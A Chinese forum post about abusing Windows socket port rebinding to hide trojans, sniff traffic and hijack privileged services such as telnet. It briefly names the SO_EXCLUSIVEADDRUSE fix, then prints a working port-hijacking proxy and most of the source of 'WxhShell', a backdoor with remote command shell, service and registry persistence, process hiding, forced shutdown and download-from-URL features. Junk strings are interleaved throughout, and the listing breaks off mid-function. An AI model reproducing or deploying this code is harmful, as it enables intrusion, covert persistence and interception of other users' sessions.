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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: |Cm6RH$(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g)mjw  
:<P3fW  
  saddr.sin_family = AF_INET; Nsf>b8O  
\1ncr4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `B$rr4_  
`s8o2"12  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6 h%,%  
Tlm::S   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Fks #Y1rI  
V(5*Dn84  
  这意味着什么?意味着可以进行如下的攻击: }?)U`zF)7}  
p]eVby"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0FcG;i+  
cj\?vX\V  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Ul<:Yt&nI  
Y|!m  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "wR1=&gk  
8l l}"  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =5;tB  
=E w<s5C@  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Qv W vS9]  
";U#aK1p  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 o- v#Zl  
]~:WGo=_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 K>vi9,4/ks  
$%6.lQ  
  #include 9RPZj>ezjA  
  #include d:Oo5t)MN  
  #include oZ_,WwnE  
  #include    LzQOzl@z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   5AK@e|G$w  
  int main() o1Krp '*  
  { ~l8w]R3A  
  WORD wVersionRequested; JT! Cb$!  
  DWORD ret; }X/>WiGh:  
  WSADATA wsaData; Ye|(5f  
  BOOL val; b]4\$rW7  
  SOCKADDR_IN saddr; \iRmGvT  
  SOCKADDR_IN scaddr; G1a56TIN~  
  int err; <{T5}"e  
  SOCKET s; pkf$%{"e  
  SOCKET sc; P0/Ctke;  
  int caddsize; 2YQ;Kh"S   
  HANDLE mt; ;4QE.&s`  
  DWORD tid;   `\r <3?  
  wVersionRequested = MAKEWORD( 2, 2 ); &`IJ55Z-)  
  err = WSAStartup( wVersionRequested, &wsaData ); `x`zv1U  
  if ( err != 0 ) { ^;sE)L6  
  printf("error!WSAStartup failed!\n"); bA1O]:`  
  return -1; >a;LBQ0  
  } 6j Rewj  
  saddr.sin_family = AF_INET; q2P_37  
   5\Rg%Ezl  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 C]Q`!e  
t$&'mJ_-w  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]$BC f4:  
  saddr.sin_port = htons(23); "/y SHB[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Pm]lr|Q{I  
  { *P/DDRq(2  
  printf("error!socket failed!\n"); Ss3~X90!*B  
  return -1; Q?bCQZ{-Lh  
  } %ol\ sO|  
  val = TRUE; [Z2{S-)UM  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Ga_Pt8L6  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 8,IQ6Or|-2  
  { ]XASim:A  
  printf("error!setsockopt failed!\n"); qe5;Pq !G  
  return -1; _^g4/G#13c  
  } IF  cre  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]K'OH&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0RjFa;j  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 o!lKP>  
r>}z|I'  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5,pEJ>dDD3  
  { pD!j#suMA  
  ret=GetLastError(); Z*b$&nM  
  printf("error!bind failed!\n"); <G0Ut6J>  
  return -1; Z2 Vri  
  } <MKX F V  
  listen(s,2); !>N+a3   
  while(1) kCALJRf~d  
  { azzG  
  caddsize = sizeof(scaddr); V|TD+7.`QB  
  //接受连接请求 jNI9 .45y  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); lcM  
  if(sc!=INVALID_SOCKET) DL#y_;#3_  
  { }mo)OyIX  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); dlA0&;}z  
  if(mt==NULL) (-],VB (+  
  { IR{XL\WF  
  printf("Thread Creat Failed!\n"); [ahwJF#r  
  break; K^",LCJA  
  } 53$;ZO3  
  } 5|7<ZL 3  
  CloseHandle(mt); k(M"k!M  
  } O)ose?Z  
  closesocket(s); \<hHZS  
  WSACleanup(); +4p=a [  
  return 0; * H~=dPC  
  }   [%P[ x]-  
  DWORD WINAPI ClientThread(LPVOID lpParam) f1S% p  
  { B6j/"x6N15  
  SOCKET ss = (SOCKET)lpParam; ]4r&Q4d>O  
  SOCKET sc; c_>AbF{  
  unsigned char buf[4096]; )W6l/  
  SOCKADDR_IN saddr; E`.:V<KW/  
  long num; K"[\)&WBG  
  DWORD val; P @J)S ?  
  DWORD ret; ~xv3R   
  //如果是隐藏端口应用的话,可以在此处加一些判断 K%W;-W*'  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   dq%C~j{v  
  saddr.sin_family = AF_INET; })`z6d]3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )w5!'W4Z8  
  saddr.sin_port = htons(23); P#MUS_x  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -GMaK.4 =  
  { mHAfKB  
  printf("error!socket failed!\n"); !xBJJ/K+|  
  return -1; Y78DYbU.  
  } Q3Z?Z;2aR  
  val = 100; yeMe2Zx  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jo1z#!|Yw}  
  { l8J2Xd @   
  ret = GetLastError(); ei>iXDt  
  return -1; zC*dJXt@  
  } tqCwbi  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4e?bkC  
  { vRn]u57O  
  ret = GetLastError(); |3~]XN-  
  return -1; cs _  
  } BR-wL3x b  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "',;pGg|K  
  { zk!7TUZ">w  
  printf("error!socket connect failed!\n"); WJ)4rQ$o  
  closesocket(sc); 'r(g5H1}gi  
  closesocket(ss); ..k8HFz>"  
  return -1; Kv:Rvo  
  } vC^{,?@  
  while(1) a\ ~118 !  
  { yye5GVY$  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !Eb|AHa  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ? HNuffk  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $iMLT8U  
  num = recv(ss,buf,4096,0); Qg]A^{.1  
  if(num>0) !G6h~`[  
  send(sc,buf,num,0); ,j9?9Z7R  
  else if(num==0) ._t1eb`m{  
  break; {-Mjs BR  
  num = recv(sc,buf,4096,0); fFoZ! H  
  if(num>0) 19-V;F@;  
  send(ss,buf,num,0); m>F:dI  
  else if(num==0) -/0aGqY  
  break; n(|n=P:o  
  } ZR-64G=L,  
  closesocket(ss); 4.uaWM)2  
  closesocket(sc); 3Agyp89}Q  
  return 0 ; &cd>.&1<2  
  } p@Cas  
KT*>OYI  
A0RSNAM  
========================================================== FzP1b_i  
2`%a[t@M.  
下边附上一个代码,,WXhSHELL hg:$H9\%  
eX lJ=S}  
========================================================== C@\5%~tW+  
@$t\yBSK  
#include "stdafx.h" ho B[L}<c  
nz'6^D7`r  
#include <stdio.h> G<$8g-O;D  
#include <string.h> @|sBnerE  
#include <windows.h> ,!LY:pMK  
#include <winsock2.h> Mu-kvgO`L  
#include <winsvc.h> Fq!_VF^r  
#include <urlmon.h> C(h Td%  
H3`.Y$z  
#pragma comment (lib, "Ws2_32.lib") ~'0ZW<X.  
#pragma comment (lib, "urlmon.lib") )n 1[#x^I  
F|R7hqf  
#define MAX_USER   100 // 最大客户端连接数 r{84Y!k~*  
#define BUF_SOCK   200 // sock buffer q_ryW$/_  
#define KEY_BUFF   255 // 输入 buffer c`UFNNm=  
5W&L cBB  
#define REBOOT     0   // 重启 6$f\#TR  
#define SHUTDOWN   1   // 关机 3:8p="$F  
>p0,]-.J,r  
#define DEF_PORT   5000 // 监听端口 WC37=8mA  
zUNUH^Il  
#define REG_LEN     16   // 注册表键长度 _ h1eW9q  
#define SVC_LEN     80   // NT服务名长度 ~ iQBgd@D^  
}@ktAt  
// 从dll定义API ~(yW#'G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %l#X6jkt  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P,a9B2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q4/BpKL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e=s85!  
&zJ\D`\,O  
// wxhshell配置信息 dFhyT.Y?  
struct WSCFG { m[iQ7/  
  int ws_port;         // 监听端口 md? cvGDE  
  char ws_passstr[REG_LEN]; // 口令 =au!rda  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6Z' K1  
  char ws_regname[REG_LEN]; // 注册表键名 6,M$TA  
  char ws_svcname[REG_LEN]; // 服务名 GA/afc,V  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'Ha> >2M  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vdQ#C G$/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 INp:;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `4X.UPJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U <q`f-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &Td)2Wt  
c3ru4o*K  
}; ~e]B[>PT  
}&v-<qC^  
// default Wxhshell configuration HwZl"!;Mry  
struct WSCFG wscfg={DEF_PORT, HC1<zW[  
    "xuhuanlingzhe", ^k$Bx_{  
    1, O6 s3#iu  
    "Wxhshell", b SgbvnJ  
    "Wxhshell", HS ]c~  
            "WxhShell Service", /':64#'  
    "Wrsky Windows CmdShell Service", /'E[03I~  
    "Please Input Your Password: ", oWLP|c~ Ap  
  1, #gT"G18/!  
  "http://www.wrsky.com/wxhshell.exe", NWPT89@l  
  "Wxhshell.exe" /{jt]8/;7  
    }; QT73=>^B  
=Ry8E2NuM  
// 消息定义模块 Fj2z$   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; cQ1Axs TO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -$:*!55:j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  ;Ss!OFK  
char *msg_ws_ext="\n\rExit."; L-S5@;"  
char *msg_ws_end="\n\rQuit."; {X{S[(|  
char *msg_ws_boot="\n\rReboot..."; m&D I2he  
char *msg_ws_poff="\n\rShutdown..."; x{zZ%_F  
char *msg_ws_down="\n\rSave to "; YcclO  
vM!2?8bEFd  
char *msg_ws_err="\n\rErr!"; XzX2V">(%  
char *msg_ws_ok="\n\rOK!"; 5#N<~  
+>;Ux1'@  
char ExeFile[MAX_PATH]; |e+3d3T35  
int nUser = 0; !L q'o ?  
HANDLE handles[MAX_USER]; "\`Fu  
int OsIsNt; V_D wHq2  
DTM(SN8R+n  
SERVICE_STATUS       serviceStatus; $d])>4eQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a#%*H  
ts@Z5Yw*!  
// 函数声明 &!O?h/&X3  
int Install(void); ZWGX*F#}P  
int Uninstall(void); MN5}}@  
int DownloadFile(char *sURL, SOCKET wsh); k\;D;e{  
int Boot(int flag); wbcip8<t  
void HideProc(void); lo'#dpt<  
int GetOsVer(void); Mp!1xx  
int Wxhshell(SOCKET wsl); aXQAm$/ >  
void TalkWithClient(void *cs); Q&w_kz.  
int CmdShell(SOCKET sock); &~/g[\Y  
int StartFromService(void); He5y;5  
int StartWxhshell(LPSTR lpCmdLine); L kl E,W  
UR=s=G|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); W2h4ej\s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); m9MY d  
\9tJ/~   
// 数据结构和表定义 =T26vu   
SERVICE_TABLE_ENTRY DispatchTable[] = WQ.{Ag?1  
{ t?)]xS)  
{wscfg.ws_svcname, NTServiceMain}, 8IWT;%  
{NULL, NULL} 1@ &J"*  
}; dmv0hof  
&08dW9H  
// 自我安装 hCF_pt+  
int Install(void) F%&lM[N%  
{ s-'~t#h  
  char svExeFile[MAX_PATH]; EA1&D^nT  
  HKEY key; ss}-YnG  
  strcpy(svExeFile,ExeFile); `v)'(R7){  
&8Vh3QLEx  
// 如果是win9x系统,修改注册表设为自启动 R@NFpiw  
if(!OsIsNt) { D]aQt%TL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~"vS$>+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !jU{ }RCR  
  RegCloseKey(key); "(p/3qFY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7kA+F +f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iHf):J?8 y  
  RegCloseKey(key); *S}CiwW>/  
  return 0; )m8Gbkj<  
    } ar,v/l>d4N  
  } SFtcO  
} qNHI$r'  
else { l<4P">M!.  
N}NKQ]=  
// 如果是NT以上系统,安装为系统服务 a?GXVQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =-/'$7R,  
if (schSCManager!=0) {dxl8~/I  
{ A-3^~aEgx  
  SC_HANDLE schService = CreateService J(!=Dno  
  ( 7A'E+>1d  
  schSCManager, e&:%Rr]x  
  wscfg.ws_svcname, QJVB:>A  
  wscfg.ws_svcdisp, .=<s@Sg,t  
  SERVICE_ALL_ACCESS, p^q/u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +cYDz#3%  
  SERVICE_AUTO_START, V4}jv7>A  
  SERVICE_ERROR_NORMAL, N#RC;  
  svExeFile, 1,$"'lKwt  
  NULL, X[$|I9  
  NULL, : OjmaP  
  NULL, NvTK7? v  
  NULL, WjR2:kT  
  NULL TB&IB:4)R  
  ); cfv: Ld m  
  if (schService!=0) ~8(Xn2  
  { jVOq/o  
  CloseServiceHandle(schService); ?f3R+4  
  CloseServiceHandle(schSCManager); B=%%3V)2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o@dT iQK_  
  strcat(svExeFile,wscfg.ws_svcname); J1cz D|(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u*5}c7)uId  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B<-("P(q  
  RegCloseKey(key); )eZ}Kt+  
  return 0; _w %:PnO  
    } I9aiAD0s  
  } !t~tIJ>6  
  CloseServiceHandle(schSCManager); u9,dSR  
} 1'(";  0I  
} d/Wp>A@dob  
W-|C K&1  
return 1; PZ'|)  
} TJW8l[M  
*HHL a  
// 自我卸载 2^Im~p~ByE  
int Uninstall(void) aZ{l6  
{ I8T*_u^_  
  HKEY key; Ah@e9`_r  
VB4V[jraCF  
if(!OsIsNt) { h`O$L_Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }S')!3[G  
  RegDeleteValue(key,wscfg.ws_regname); *>zOWocxD  
  RegCloseKey(key); |&-*&)iD|w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D$H&^,?N  
  RegDeleteValue(key,wscfg.ws_regname); ''q;yKpaz  
  RegCloseKey(key); Eul3 {+]  
  return 0; s 72yu}  
  } Ei+lVLoC  
} ht6}v<x.eA  
} 6(htpT%J  
else { =N\$$3m?  
HN/YuP03[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _99 +Vjy  
if (schSCManager!=0) h:C:opa-=  
{ L>WxAeyu1K  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Bfdfw +  
  if (schService!=0) _7;G$\^&.  
  { ~l] w=[ z  
  if(DeleteService(schService)!=0) { {6Nbar@3  
  CloseServiceHandle(schService); Ez-AQ'  
  CloseServiceHandle(schSCManager); ;g+fY 6  
  return 0; '-I\G6w9  
  } tBZ?UAe;  
  CloseServiceHandle(schService); ^qBm%R(  
  } @cxM#N8e  
  CloseServiceHandle(schSCManager); O0BDUpH  
} -Q Mwtr#q}  
} G)b:UJa"  
:2NV;7Wke6  
return 1; [)8O\/:  
} 5?Q5cD2]\6  
UA6 C/  
// 从指定url下载文件 'x? |tKzd  
int DownloadFile(char *sURL, SOCKET wsh) 8dt=@pwx&  
{ mRyf+O[  
  HRESULT hr; +jq@!P"}d  
char seps[]= "/"; =^*EM<WG)  
char *token; ?y>v"1+  
char *file; vmOye/?k  
char myURL[MAX_PATH]; 0;=]MEk?  
char myFILE[MAX_PATH]; vlDA/( &  
E#tfCM6  
strcpy(myURL,sURL); vZS/? pU~~  
  token=strtok(myURL,seps); ;"EDFH#W  
  while(token!=NULL) SJLs3iz_)  
  { "W4|}plnu  
    file=token; >,k2|m  
  token=strtok(NULL,seps); u6Ux nqNc  
  } #wvGS%  
(M{wkQTO  
GetCurrentDirectory(MAX_PATH,myFILE); Nknd8>Hy+  
strcat(myFILE, "\\"); Kc1w[EQ  
strcat(myFILE, file); fo/sA9  
  send(wsh,myFILE,strlen(myFILE),0); 67}8EV!/k  
send(wsh,"...",3,0); L.K|]]u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a5pM~.]  
  if(hr==S_OK) Pjvb}q=  
return 0; eL)m(  
else iny/K/5bf  
return 1; %zEy.7Ux  
<j#IR  
} CV{ZoY  
:U'n0\  
// 系统电源模块 VB8eGMo  
int Boot(int flag) j1K~zG  
{ GuL0:,  
  HANDLE hToken; QL2 LIs  
  TOKEN_PRIVILEGES tkp; F`,bFQ  
 myOW^  
  if(OsIsNt) { ^Dfqc-]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A93(} V7I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6wq%4RI0  
    tkp.PrivilegeCount = 1; p`U#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lq`7$7-4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @V Tw>=94  
if(flag==REBOOT) { Vz!{nL0Q(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) " ~6&rt  
  return 0; gr.G']9lNq  
} sMJa4P>O@  
else { #%OS=.V  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v!<FeLW  
  return 0; -{d(~XIo  
} o2]Np~`g,  
  } 94*MRn1E  
  else { ) 54cG  
if(flag==REBOOT) { _x!/40^G  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }I`o%GL  
  return 0; *(/b{!~  
} 7+[L6q/K  
else { YLSDJ$K6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /9P7;1?  
  return 0; _wW"Tn]  
} $mf6!p4  
} ci 22fw0  
!@ AnwV]  
return 1; F<2gM#jLB  
} O0pXHXSAL  
*8%uXkMm  
// win9x进程隐藏模块 iQCs 8hIR  
void HideProc(void)  _qt  
{ s6 K~I  
a~-k} G5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %^"i\- *|S  
  if ( hKernel != NULL ) 4m~p(r  
  { kqC7^x  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S|yDGT1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dOg c%(kz  
    FreeLibrary(hKernel); mwz!7Q   
  } H6 $pA^  
_R ;$tG,  
return; '=K~M  
} "Nq5FcS9  
vsI|HxpyC,  
// 获取操作系统版本 4Xn-L&0z  
int GetOsVer(void) oVfRp.a  
{ EWVn*xl?  
  OSVERSIONINFO winfo; iy_3#x5>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); << YH4}wZ  
  GetVersionEx(&winfo); 4Xv."L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |oR{c%z05  
  return 1; brF) %x`  
  else nnd-d+$  
  return 0; 0? KvR``Aj  
} YQO9$g0% ~  
`<R^ZL,  
// 客户端句柄模块 -b  )~  
int Wxhshell(SOCKET wsl) }Q,BI*}*  
{ s cd}{Y  
  SOCKET wsh; 3%N!omAe  
  struct sockaddr_in client; N{!@M_C^%R  
  DWORD myID; A_J!VXq  
Nlm3RxSn  
  while(nUser<MAX_USER) np7!y U  
{ 5* ~E dT  
  int nSize=sizeof(client); 0{Zwg0&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); = o1&.v2j  
  if(wsh==INVALID_SOCKET) return 1; nC9x N  
: +fW#:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u H)v\Js  
if(handles[nUser]==0) `DP4u\6_  
  closesocket(wsh); 6ZGw 3p)  
else 6a{b%e`  
  nUser++; ;|Rrtf9  
  } %w/:mH3FA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K!!#";Eo  
;@[ax{ J  
  return 0; emS7q|^  
} >~G _'~_f  
%i.;~>  
// 关闭 socket \e?w8R.6w^  
void CloseIt(SOCKET wsh) G`u";w_  
{ $n<X'7@0  
closesocket(wsh); z'Fu} ho  
nUser--; `ItPTSOi  
ExitThread(0); }/%^;@q;  
} U {s T %G  
=l}XKl->  
// 客户端请求句柄 (n@&M!a  
void TalkWithClient(void *cs) FWpb5jc)3  
{ P# Z+:T  
+[=%W  
  SOCKET wsh=(SOCKET)cs; KMV&c  
  char pwd[SVC_LEN]; j"P}Wn  
  char cmd[KEY_BUFF]; a0B,[i  
char chr[1]; gG,gL 9o  
int i,j;  'v&f  
7{u1ynt   
  while (nUser < MAX_USER) { {UOR_Vt!*  
=>)4>WT8A  
if(wscfg.ws_passstr) { /p[lOg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /2]=.bLwz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :x_;-  
  //ZeroMemory(pwd,KEY_BUFF); 4VlQN$  
      i=0; zT _[pa)O`  
  while(i<SVC_LEN) { roWg~U(S  
o~p%ODH  
  // 设置超时 Y:K1v:Knw  
  fd_set FdRead; f}zv@6#&  
  struct timeval TimeOut; ,Je9]XT  
  FD_ZERO(&FdRead); 1n+JHXR\  
  FD_SET(wsh,&FdRead); tc)4$"9)  
  TimeOut.tv_sec=8; VrZ6m  
  TimeOut.tv_usec=0; ?\T):o;/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?h|w7/9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 83gp'W{|  
2S_7!|j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *Zk$P.]  
  pwd=chr[0]; H=>;M j  
  if(chr[0]==0xd || chr[0]==0xa) { Xx=c'j<  
  pwd=0; :|E-Dx4F6H  
  break; X!/  
  } aQ.mvuMa7'  
  i++; /m+\oZ ]d  
    } WB>M7MI%  
N:7;c}~  
  // 如果是非法用户,关闭 socket mM;p 7 sJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dIRSgJ`  
} xrC b29{  
^ )[jBUT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H{fOAv1*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W*NK-F[  
8>~\R=SC  
while(1) { JnZlz?}^  
:k7h"w  
  ZeroMemory(cmd,KEY_BUFF); |H@1g=q  
YWUCrnr  
      // 自动支持客户端 telnet标准   *lws7R  
  j=0; d^ YM@>%  
  while(j<KEY_BUFF) { |a[Id  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  Cdbh7  
  cmd[j]=chr[0]; LuUfdzH  
  if(chr[0]==0xa || chr[0]==0xd) { KZt4 dr  
  cmd[j]=0; xO` O$ie  
  break; Oxhc!9F  
  } IAa}F!6Q1  
  j++; !S}4b   
    } *u`[2xmuYf  
o+.LG($+U  
  // 下载文件 v6_fF5N/  
  if(strstr(cmd,"http://")) { j69 2M.A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xr'gi(.o  
  if(DownloadFile(cmd,wsh)) DAtZp%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |dQ-l !  
  else VsMTzGr  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]2o?Gnn@  
  } lQnqPQY  
  else { u'Ua ++a\  
n{v[mqm^  
    switch(cmd[0]) { 3Zeh$DZ  
  2n8spLZYGY  
  // 帮助 I w-3Z'hOX  
  case '?': { A5LTgGzaW  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )=c/{  
    break; VOK0)O>&  
  } n%Gk {h5  
  // 安装 ('7qJkV  
  case 'i': { #:n:3]t  
    if(Install()) j* \gD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zw,=mpf3_  
    else [#Y7iN&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &>&UqWL  
    break; PQFr4EY?i  
    } DU>#eR0G  
  // 卸载 o?l9$"\sqb  
  case 'r': { (lBwkQNQGd  
    if(Uninstall()) op]HF4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7`IoQvX  
    else JVgV,4 1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BYBf`F)4  
    break; 2En^su$  
    } [ym ynr3M  
  // 显示 wxhshell 所在路径 =u#xPI0:  
  case 'p': {  wN4N 2  
    char svExeFile[MAX_PATH]; Y^~Dr|5%  
    strcpy(svExeFile,"\n\r"); )k}UjU`!  
      strcat(svExeFile,ExeFile); P5^<c\Mr,Y  
        send(wsh,svExeFile,strlen(svExeFile),0); C0$KpUB  
    break; *[^[!'kT&  
    } 3HP o*~"]  
  // 重启 {x#I&ra  
  case 'b': { 6+hx64 =  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2,,t+8"`  
    if(Boot(REBOOT)) hs5aIJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !.nyIA(  
    else { N-O"y3W}  
    closesocket(wsh); <+wbnnK  
    ExitThread(0); Dy[_Ix/Y,  
    } Anu`F%OzB  
    break; 8qY\T0  
    } -U"h3Ye^  
  // 关机 IyfhVk?  
  case 'd': { 1\'zq;I~  
